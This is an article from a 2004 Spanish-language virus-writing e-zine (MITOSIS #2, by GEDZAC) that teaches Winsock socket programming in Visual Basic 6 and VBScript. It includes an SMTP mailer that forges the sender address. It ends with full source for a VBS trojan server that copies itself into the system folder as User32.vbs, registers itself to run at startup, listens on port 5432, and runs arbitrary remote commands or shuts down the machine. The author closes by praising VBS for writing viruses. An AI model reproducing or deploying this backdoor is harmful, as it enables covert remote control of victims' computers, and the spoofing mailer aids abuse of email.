(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : Sockets Autor : Nemlim Válido para : Visual Basic 6 y VBS Un socket es una representación abstracta del extremo en un proceso de comunica- ción. Es un punto de acceso que una aplicación puede crear para acceder a los servicios de comunicación que ofrecen las pilas de protocolos. Para que se dé la comunicación en una red, el programa requiere un socket en cada extremo del proceso de comunicación. Trataré de explicar todo lo mejor posible, pero puede que algo se me escape. Así que no se queden en la lona y busquen más info en Internet. ------------------------------- Sockets en Visual Basic: ------------------------------- API de Winsock: ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Primero y principal, encontraran el código de las API del Wsock32.dll en la carpeta EJEMPLOS de esta E-Zine. A continuación, pongo la lista de las funciones más importantes, explicando brevemente su uso. StartWinsock TempParam Inicia los sockets. Esto es lo primero que hay que hacer, pues no se puede hacer uso de los mismos si no se han iniciado antes. Su parametro debe ser del tipo String, y la función devuelve en el parámetro los datos de la dll. ConnectSock H, P, R, W, A Conecta el socket con el host remoto. La función devuelve el ID del socket. Este ID debemos utili- zarlo en funciones como SendData, CloseSocket, Recv, etc. Debemos pasarle como parámetro: (H) El nombre del host remoto (P) El puerto a conectarse (R) Cadena vacía. La función devolverá la IP Host (W) El hWnd del formulario (A) Si se ejecuta en modo asíncrono(TRUE o FALSE) SendData socket, message Envía datos al servidor remoto. Como parámetros debemos pasarle el ID socket, y el mensaje. ListenForConnect Puerto, HWnd Abre el puerto especificado en el parámetro. Ade- mas debemos pasarle el hWnd del formulario. CloseSocket socket Cierra la conexión actual del socket especificado Recv socket, buf, buflen Toma los datos devueltos por el servidor, y los almacena en la variable buf, en este ejemplo. Como parámetros les pasamos el ID socket, la variable en donde queremos que almacene los datos devueltos, y el tamaño de la variable. GetLocalHostName Devuelve el nombre de la Pc local. AddrToIP hostname Devuelve la dirección Ip del host especificado. EndWinsock Termina con la sesión de los sockets. Envio de emails usando API de Winsock: ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Bueno, ahora sí vamos a darle verdadero sentido a los sockets. Metemos las APIs en un módulo, creamos un nuevo formulario con un timer (Nombre: TimerWinsock; Intervalo: 10), y copiamos el código que sigue: ' Private SendStatus as Integer Public mainSocket As Integer Private tempInt As Integer Private Sub Form_Load() Dim sBuffer As String StartWinsock sBuffer 'Inicia los sockets Mailear "bush@imf.zzn.com", "mail.zzn.com" 'Llama a la función que envía emails End Sub Private Sub Mailear(DRcptTo As String, DServer) Dim sBuffer As String Dim DHelo As String Dim DMensaje As String Dim DMailFrom As String Dim DSubject As String Dim DFrom As String SendStatus = 1 'Establecemos el princípio del envío DSubject = "Asunto" 'Asunto del mensaje DHelo = GenerateCode(8) 'Carácteres aleatorios de 8 letras DMailFrom = "anonimato@hotmail.com" 'Correo del que envía DMensaje = "Mensaje del mail" 'Mensaje del email If WSAStartedUp Then 'Si se iniciaron los sockets proseguimos 'Conectamos con el servidor Smtp: mainSocket = ConnectSock(DServer, 25, sBuffer, Me.hWnd, False) If not mainSocket = INVALID_SOCKET Then 'Si conecta es porque la direccion existe TimerWinsock.Enabled = True 'Activamos el timer que recibe y envía los datos 'Enviamos los datos al server smtp: SendData mainSocket, "HELO " & DHelo & vbCrLf SendData mainSocket, "MAIL FROM:<" & DMailFrom & ">" & vbCrLf SendData mainSocket, "RCPT TO:<" & DRcptTo & ">" & vbCrLf SendData mainSocket, "DATA" & vbCrLf SendData mainSocket, "FROM: Nemlim" & vbCrLf & "TO: <" & DRcptTo & ">" & vbCrLf SendData mainSocket, "SUBJECT: " & DSubject & vbCrLf SendData mainSocket, DMensaje & vbCrLf SendData mainSocket, vbCrLf & "." & vbCrLf SendData mainSocket, "QUIT" & vbCrLf End If End If End Sub Function GenerateCode(NumChar As Integer) 'Función que genera caracteres aleatorios con la longitud 'que se desee. Esta función la saque de por ahí, y no creo 'que necesite explicación. Randomize Timer Dim Code As String Dim Chars As Integer Dim Alfa As Integer Code = "" For Chars = 1 To NumChar Alfa = Int(Rnd * 2 + 1) If Alfa = 2 Then Code = Chr(Int((Rnd * 25 + 1) + 97)) & Code Else Code = Int((Rnd * 9 + 1)) & Code End If Next GenerateCode = Code End Function Private Sub Form_Unload(Cancel As Integer) EndWinsock 'Terminamos con los sockets abiertos End Sub Private Sub TimerWinsock_Timer() 'Este timer es opcional. Es solo para mostrar el funcionamiento 'de la función Recv, y en este ejemplo no es necesario para mandar mails. Dim tempString As String tempString = String(255, Chr(0)) 'Asignamos 255 espacios en la variable tempInt = recv(mainSocket, tempString, 255) 'Recibimos los datos que nos 'envían, y los asignamos en la variable tempString 'tempInt toma el valor de la cantidad de caracteres que tienen los datos que 'recibimos del socket. If tempInt = -1 Then 'Cuando no se envían datos tempInt toma valor de -1 tempString = "" Else tempString = Left(tempString, tempInt) 'Si se envían datos recortamos los 'espacios End If If tempString <> "" Then 'Si la variable no está vacía proseguimos 'A esta altura tempString tiene los datos recibidos 'Si se quiere mostrarlos, podemos poner lo siguiente: ' Text1.Text = Text1.Text & vbCrLf & tempString End If End Sub ' Existe un control, llamado MSWinsock, el cual podemos utilizar en Visual Basic, y Visual Basic Script, que permite hacer uso de los sockets fácilmente, pero su unico defecto, y es que es un impedimento trabajar con las manos atadas, es que este control debe estar registrado, y con su correspondiente licensia de uso, y además no viene por defecto con la instalación de Windows. Para agregarlo en un Visual Basic vamos al menú Proyect| Components. En la lista marcamos el que dice "Microsoft Winsock Control 6.0". Si no aparece en la lista significa que no tenes el control o que no lo registraste. Para hacer uso del winsock en VBS lo creamos como un objeto normal, y accedemos a sus eventos mediante las especificacion en el segundo parámetro, en el comando CreateObject(objeto,evento). De esta manera crearemos el objeto "MsWinsock.Winsock", y en el evento pondremos "sck_" para hacer uso de sus eventos. Propiedades y métodos del MSWinsock: Winsock1.Connect RH, 25 Conecta el socket con el host remoto (RH), y en el puerto que se especifique. Para el servicio smtp, el puerto es el 25. Este método se puede utilizar sin parámetros, si antes se especifica- ron el host y el puerto en las propiedades del Winsock, RemoteHost y RemotePort. Winsock1.Close Cierra la actual conexión del socket. Winsock1.GetData Data Toma los datos devueltos por el servidor, y los almacena en la variable Data, en este ejemplo. Este método se coloca en el evento DataArrival, ya que es en este evento en el que nos envían datos. Winsock1.Listen Ponemos a la escucha el socket, a la espera de una conexión. El puerto abierto es el que se especifique previamente en la propiedad del socket, LocalPort. Winsock1.SendData Data Enviamos datos al servidor, siempre que la cone- xión lo permita. Winsock1.Accept requestID Acepta un pedido de conexión, en el evento ConnectionRequest. Este evento se produce cuando dejamos un puerto a la escucha, y el host remoto pide conectarse a nuestra Pc. Winsock1.LocalHostName Devuelve el nombre de la Pc local Winsock1.LocalIP Devuelve el numero Ip de la Pc Local Winsock1.LocalPort Establece el puerto a abrir o escuchar Winsock1.RemoteHost Devuelve o establece el nombre del host remoto Winsock1.RemoteHostIP Devuelve o establece el numero IP del host remoto Winsock1.RemotePort Establece el puerto del host remoto al que el socket se conectará. Winsock1.State Devuelve el estado actual en el que se encuentra el socket. Los valores devueltos son: 0 Predeterminado. Cerrado 1 Abierto 2 Escuchando 3 Conexión pendiente 4 Resolviendo host 5 Host resuelto 6 Conectando 7 Conectado 8 El equipo está cerrando la conexión 9 Error ------------------------------- Sockets en Visual Basic Script: ------------------------------- Envio de emails usando motor smtp: ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ********************************************************************************* NOTA: Este es solo un ejemplo ilustrativo. Algunos servidores como hotmail y yahoo, no permiten hacer uso del servicio smtp, por lo que si lo intentas proba- blemente no te funcione. Creo que no hece falta decir que los emails expuestos no existen, y debes cambiarlos a tu gusto. Si no sabes la direccion smtp del correo del destinatario, casi siempre son de este formato: "mail.servidor.com" o "smtp.servidor.com". Por ejemplo, si la dirección de correo de la víctima es "pepito@fullzero.com", probablemente el servidor podría ser "mail.fullzero.com" o "smtp.fullzero.com". ' Set W=I() 'Llamamos a la funcion que crea el winsock, y accederemos a él 'mediante la variable "W" SendStatus = 1 DServer = "mail.zzn.com" 'Establecemos el servidor DHelo = "aasdfgzx" 'Asignamos una var con 8 letras aleatorias DMailFrom = "anonimato@hotmail.com" 'Ponemos un email cualquiera DRcptTo = "destinatario@zzn.com" 'Es el que recibirá el mail DFrom = "El Ano N. Imato" 'Campo De DSubject = "Asunto" 'Campo Asunto DMensaje = "Mensaje" 'Campo Mensaje wscript.echo("comenzando") 'Nos indica que el script ha empezado w.Close 'Cerramos el socket, si es que está abierto w.Connect DServer, 25 'Conectamos con el servidor, al puerto 25 While w.State <> 0 'Hasta que no nos conectemos, el bucle no terminará wscript.sleep 30 'Detenemos por unos milisegundos el script, para 'que no se "cuelgue", como se cuelgan la mayoria de 'los programas en windows :( Wend Sub sck_DataArrival(b) 'Este evento se produce cuando al socket le llegan datos 'Enviamos paso por paso, los datos al servidor Select Case SendStatus case 1 w.SendData "HELO " & DHelo & vbCrLf SendStatus = SendStatus + 1 case 2 w.SendData "MAIL FROM:<" & DMailFrom & ">" & vbCrLf SendStatus = SendStatus + 1 case 3 w.SendData "RCPT TO:<" & DRcptTo & ">" & vbCrLf SendStatus = SendStatus + 1 case 4 w.SendData "DATA" & vbCrLf SendStatus = SendStatus + 1 case 5 w.SendData "FROM: " & DFrom & vbCrLf & "To: <" & DRcptTo & ">" & vbCrLf & _ "SUBJECT: " & DSubject & vbCrLf & DMensaje & vbCrLf & vbCrLf & "." & vbCrLf SendStatus = SendStatus + 1 case 6 w.SendData "QUIT" & vbCrLf SendStatus = SendStatus + 1 w.close 'Cerramos el socket wscript.echo("Desconectado") end select end sub Sub sck_Error(ByVal N,D,c,S,F,H,A) 'Si ocurre un error cerramos el socket y mostramos el error W.Close If N=10061 Then WScript.StdOut.Write "." Else msgbox P & ":" & N & " " & D End If End Sub Function I() On Error Resume Next Err.Number=0 Set I= CreateObject("MSWinsock.Winsock","sck_") 'Creamos el Winsock, y asignamos 'sck_ como nombre de evento 'Si se produce un error, puede se debido a los siguientes mensajes: Select Case Err.Number case &H80040112 msgbox "No licence found. Install Visual Studio" case &H80020009 msgbox "ActiveX Winsock not registered - use regsvr32" Case else msgbox "Error "& Err.Number &" - &H" & Hex(Err.Number) &" - "& Err.Description End Select End Function ' Espero que hallan entendido, porque la intención estuvo. Trate de explicar cada línea lo más posible, así que si alguien no entendió, me envian un mail y ya. Troyanos en VBS????: ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Si, si es posible, dentro del limitado lenguaje vbs, por supuesto. La víctima debe tener ciertas condiciones, pero la intención está. El siguiente código es del servidor del troyano. El cliente se puede construir en cualquier lenguaje, aunque vbs no es el más adecuado, pienso yo. ' On Error Resume Next 'Si ocurre un error continuamos con la línea siguiente Set W=I() 'Llamamos a la funcion que crea el winsock, y accederemos a él 'mediante la variable "W" Set Ws = CreateObject("WScript.Shell") 'Creamos objetos para usarlos mas adelante Set Fso = CreateObject("Scripting.FileSystemObject") Set DirWin = Fso.GetSpecialFolder(0) 'Establecemos el directorio de windows Set DirSystem = Fso.GetSpecialFolder(1) 'Asignamos el directorio de sistema If Not Fso.FileExist(DirSystem & "\User32.vbs") Then 'Sino nos hemos copiado antes Fso.CopyFile (WScript.ScriptFullname), DirSystem & "\User32.vbs" 'Nos copiamos End if L = Ws.regRead("HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\User32") If L = "" Then Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\User32", _ DirSystem & "\User32.vbs" 'Nos ponemos al inicio del sistema End if W.LocalPort = "5432" 'Establecemos el puerto del troyano W.Listen 'Ponemos a la escucha el socket Do 'Nos quedamos en la memoria, con un bucle infinito wscript.sleep 30 'Dormimos al script para no "colgarnos" Loop Sub sck_ConnectionRequest(requestID) If W.State <> sckClosed Then W.Close 'Si el winsock está abierto lo cerramos. W.Accept requestID 'Aceptamos la conexión End Sub Sub sck_Error(ByVal N,D,c,S,F,H,A) 'Si ocurre un error, cerramos y volvemos a escuchar. W.Close W.Listen End Sub Sub sck_Close() 'Si se cierra la conexión, volvemos a escuchar. W.Listen End Sub Sub sck_DataArrival(bytesTotal) On Error Resume Next 'Si ocurre un error que lea la siguiente línea Dim data1 'Declaramos la variable que recibirá los datos W.GetData data1 'Tomamos los datos que nos envían If data1 <> "" then 'Si de verdad nos envían algo proseguimos Select Case mid(data1,1,10) 'Nos fijámos que acción nos están mandando Case "#EJECUTAR#" Ws.Run mid(data1,10,len(data1)) 'Ejecuta el comando que se envíe Case "#APAGARPC#" Ws.Run DirWin & "\RUNDLL32.EXE user.exe,ExitWindows" 'Apaga la Pc Case "##MSGBOX##" Msgbox mid(data1,10,len(data1)) 'Muestra el mensaje enviado End select End if End Sub Function I() 'Funcion que crea el objeto Winsock On Error Resume Next 'Si ocurre un error, no nos importa Err.Number=0 Set I= CreateObject("MSWinsock.Winsock","sck_") 'Creamos el Winsock, y asignamos 'sck_ como nombre de evento: End Function ' Hata ki nomás. Como ven, el uso del winsock en vbs se trata casi igual que en Visual Basic, con algunas diferencias. El uso del control winsock en vbs trae varias ventajas, asi como también desventajas, pero nada es color de rosas. Esto solo fué una excusa para que el vbs no sea un lenguaje del pasado y se siga programando. Para mí es uno de los mejores lenguajes de "programación" de virus que existió en la historia, no solo por su capacidad de polimorfismo, por el uso de objetos externos, por su relación con MsOffice, por su capacidad de infectar muchas extenciones diferentes, de acceder al registro sencillamente, sino también por su extremadamente fácil programación. Que el VBS no muera! (C) MITOSIS #2 E-Zine/GEDZAC 2004